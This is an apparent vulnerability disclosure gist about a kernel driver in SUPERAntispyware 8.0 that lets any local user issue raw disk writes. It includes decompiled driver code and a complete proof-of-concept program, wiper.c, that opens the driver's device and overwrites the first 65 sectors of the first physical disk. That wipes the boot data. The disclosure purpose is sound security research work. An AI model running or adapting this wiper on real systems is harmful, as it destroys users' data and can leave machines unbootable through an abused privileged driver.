hfiref0x / **desc.txt**

Created 2 years ago

SUPERAntispyware backdoor

desc.txt

```
This is saskutil64.sys 1.0.0.1016 driver of SUPERAntispyware 8.0.0.1050 (current), both Free/Pro editions.
The SaskCallDriver function work with fixed size buffer send from user mode.

This buffer is a structure defined as
#pragma pack(push, 1)
typedef struct _CALL_DRV {
    WCHAR DeviceName[2048]; //e.g. \Device\Harddisk0\DR0
    LARGE_INTEGER StartingOffset;
    SIZE_T DataSize;
    PVOID DataPtr;          //pointer to user mode allocated buffer of DataSize length.
} CALL_DRV, * PCALL_DRV;
#pragma pack(pop)

Purpose of this function is to build synchronous I/O request for given device and send data to it (IRP_MJ_WRITE).

This function is totally bugged as it skips all critical API result checks.

For example any wrong device name will lead to bugcheck because code does not validate IoGetDeviceObjectPointer or
IoBuildSynchronousFsdRequest calls.

Additionally it is backdoor as such functionality should not be available for user mode applications directly.

The SASKUTIL driver device has default security descriptor and can be used by any local user.
This feature maybe used for various kind of things, including data wipe or sending udp/tcp packets.
```

saskutil.c

```
NTSTATUS SaskCallDriver(PVOID Unreferenced, PIRP Irp)
{
    CALL_DRV* CallDrvStruct;
    PVOID writeBuffer;
    IRP *writeIrp;
    UNICODE_STRING deviceString;
    IO_STATUS_BLOCK statusBlock;
    KEVENT waitEvent;
    PDEVICE_OBJECT deviceObject;
    LARGE_INTEGER startingOffset;
    PFILE_OBJECT fileObject;

    CallDrvStruct = (CALL_DRV*)Irp->AssociatedIrp.SystemBuffer;

    __try {

        if ((ULONG_PTR)CallDrvStruct < 0x8000000000000000)
        {
            ProbeForRead(CallDrvStruct, 4120, 1);
            ProbeForWrite(CallDrvStruct, 4120, 1);
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {

        return STATUS_ACCESS_VIOLATION;

    }

    __try {

        writeBuffer = CallDrvStruct->DataPtr;
        if ((ULONG_PTR)writeBuffer < 0x8000000000000000)
        {
            ProbeForRead(writeBuffer, CallDrvStruct->DataSize, 1);
            ProbeForWrite(CallDrvStruct->DataPtr, CallDrvStruct->DataSize, 1);
        }

    }
    __except (EXCEPTION_EXECUTE_HANDLER) {

        return STATUS_ACCESS_VIOLATION;

    }

    RtlInitUnicodeString(&deviceString, CallDrvStruct->DeviceName);

    IoGetDeviceObjectPointer(&deviceString, FILE_READ_ATTRIBUTES, &fileObject, &deviceObject);  // No check of API call

    startingOffset = CallDrvStruct->StartingOffset;

    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);

    writeIrp = IoBuildSynchronousFsdRequest( // No check of API call
```

```
        IRP_MJ_WRITE,
        deviceObject,
        CallDrvStruct->DataPtr,
        CallDrvStruct->DataSize,
        &startingOffset,
        &waitEvent,
        &statusBlock);

    writeIrp->Flags = IRP_BUFFERED_IO;

    if (IofCallDriver(deviceObject, writeIrp) == STATUS_PENDING) // This will bugcheck if anything from above failed.
        KeWaitForSingleObject(&waitEvent, Executive, KernelMode, FALSE, NULL);

    return STATUS_SUCCESS;
}
```

wiper.c

```
#pragma warning(disable: 4005)

#include <windows.h>
#include <strsafe.h>
#include <ntstatus.h>
#include "ntos.h"

NTSTATUS CallDriver(
    _In_ HANDLE DeviceHandle,
    _In_ ULONG IoControlCode,
    _In_opt_ PVOID InputBuffer,
    _In_opt_ ULONG InputBufferLength,
    _In_opt_ PVOID OutputBuffer,
    _In_opt_ ULONG OutputBufferLength)
{
    BOOL bResult = FALSE;
    IO_STATUS_BLOCK ioStatus;

    return NtDeviceIoControlFile(DeviceHandle,
        NULL,
        NULL,
        NULL,
        &ioStatus,
        IoControlCode,
        InputBuffer,
        InputBufferLength,
        OutputBuffer,
        OutputBufferLength);

}

#pragma pack(push, 1)
typedef struct _CALL_DRV {
    WCHAR DeviceName[2048];
    LARGE_INTEGER StartingOffset;       // +0x1000
    SIZE_T DataSize;                    // +0x1008
    PVOID DataPtr;                      // +0x1010
} CALL_DRV, * PCALL_DRV;
#pragma pack(pop)

ULONG u = FIELD_OFFSET(CALL_DRV, DataPtr);

#define SAS_DEVICE 0x9C40
#define IOCTL_SAS_CALLDRIVER CTL_CODE(SAS_DEVICE, 0x850, METHOD_BUFFERED, FILE_ANY_ACCESS)

int main()
{
    NTSTATUS ntStatus;
    CALL_DRV request;

    HANDLE deviceHandle = CreateFile(TEXT("\\\\.\\SASKUTIL"),
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (deviceHandle == INVALID_HANDLE_VALUE) {
        printf_s("[!] Unable to open device\r\n");
#ifndef _DEBUG
        return -1;
#endif
    }
    else {
        printf_s("[+] SASKUTIL device opened\r\n");
    }

    system("pause");

    WCHAR writeData[512];

    memset(&writeData, 0xAB, sizeof(writeData));
    RtlSecureZeroMemory(&request, sizeof(request));

    wcscpy_s(request.DeviceName, L"\\Device\\Harddisk0\\DR0");
    request.DataSize = sizeof(writeData);
    request.DataPtr = &writeData;

    for (ULONG i = 0; i < 65; i++) {
```

```
81
82          request.StartingOffset.LowPart = (i * 512);
83
84          ntStatus = CallDriver(deviceHandle,
85              IOCTL_SAS_CALLDRIVER,
86              &request,
87              sizeof(CALL_DRV),
88              NULL,
89              0);
90
91          printf_s("[+] CallDriver NTSTATUS 0x%lX\r\n", ntStatus);
92      }
93
94      CloseHandle(deviceHandle);
95  }
```